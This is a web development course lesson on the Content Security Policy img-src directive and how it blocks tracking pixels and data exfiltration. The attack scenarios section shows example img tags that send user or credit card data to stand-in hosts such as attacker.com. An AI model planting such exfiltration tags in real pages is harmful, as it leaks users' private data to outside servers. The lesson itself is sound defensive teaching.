Course contentsShow
← Web Development
Lesson 2844 of 2,98251. Content Security PolicyFree lesson

The img-src Directive

Controlling image sources with img-src to prevent data exfiltration and tracking pixel attacks.

The img-src Directive

What you'll learn: How to use the img-src Content Security Policy directive to control which sources can load images, blocking malicious tracking pixels and preventing data exfiltration attempts.


Why img-src Matters

Images aren't just visual content—they're also network requests. Every time your page loads an image, the browser sends a request to that server, potentially leaking information. Attackers exploit this through tracking pixels (1x1 invisible images that log user activity) and data exfiltration (embedding stolen data in image URLs to send it to attacker-controlled servers).

The img-src directive controls which origins can serve images in your application, blocking unauthorized sources.

How img-src Works

Just like script-src and style-src, you define allowed sources for images:

Content-Security-Policy: img-src 'self' https://cdn.example.com

This policy allows images from:

  • Your own domain ('self')
  • A trusted CDN (https://cdn.example.com)

Any attempt to load an image from https://evil-tracker.com would be blocked by the browser.

Real-World Attack Scenarios

Tracking pixels: An injected script adds <img src="https://tracker.com/log?user=123&page=checkout">. Even though no image displays, the request reveals user behavior.

Data exfiltration: Malicious code reads sensitive form data and attempts <img src="https://attacker.com/steal?data=creditcard_number">. With proper img-src, this request is blocked before any data leaves.

The Data URL Consideration

Be cautious with data: in img-src. While convenient for inline images (data:image/png;base64,...), it also allows attackers to bypass some protections since no external request occurs.

Key Takeaway: The img-src directive prevents unauthorized image sources from loading, blocking tracking pixels and stopping attackers from exfiltrating data through image requests—an essential layer in your CSP defense strategy.